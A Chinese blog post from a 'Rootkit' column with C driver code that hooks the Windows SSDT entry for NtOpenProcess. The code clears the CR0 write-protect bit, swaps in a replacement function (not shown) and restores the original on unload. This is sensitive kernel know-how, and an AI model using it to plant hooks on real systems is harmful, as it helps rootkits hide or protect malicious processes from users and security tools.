HOOK SSDT

最新推荐文章于 2017-04-15 01:30:11 发布

wangsizhe09

最新推荐文章于 2017-04-15 01:30:11 发布

阅读量760

点赞数

CC 4.0 BY-SA版权

分类专栏： Rootkit﹏文章标签： hook object string

本文链接：https://blog.youkuaiyun.com/wangsizhe09/article/details/5879614

Rootkit﹏专栏收录该内容

15 篇文章

订阅专栏

NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath ) { DriverObject->DriverUnload = OnUnload; Hook(); return STATUS_SUCCESS; } // 此处修改SSDT中的NtOpenProcess服务地址 VOID Hook() { ULONG Address; // 0x7A为NtOpenProcess服务号 Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4; RealServiceAddress = *(ULONG*)Address; RealNtOpenProcess = (NTOPENPROCESS)RealServiceAddress; DbgPrint( "Address of Real NtOpenProcess: 0x%08X/n", RealServiceAddress ); DbgPrint(" Address of MyNtOpenProcess: 0x%08X/n", MyNtOpenProcess ); // 去掉内存保护 ,这个主要是跟内存分页有关的，出现BSOD __asm { cli mov eax, cr0 and eax, not 10000h mov cr0, eax } // 修改SSDT中NtOpenProcess服务的地址 *((ULONG*)Address) = (ULONG)MyNtOpenProcess; // 恢复内存保护 __asm { mov eax, cr0 or eax, 10000h mov cr0, eax sti } } //这里是恢复 VOID Unhook() { ULONG Address; Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4; //一样的去掉内存保护 __asm { cli mov eax, cr0 and eax, not 10000h mov cr0, eax } // 还原SSDT *((ULONG*)Address) = (ULONG)RealServiceAddress; __asm { mov eax, cr0 or eax, 10000h mov cr0, eax sti } DbgPrint("Unhook"); } 本文来自优快云博客，转载请标明出处：http://blog.youkuaiyun.com/webxeyes/archive/2009/03/17/3996783.aspx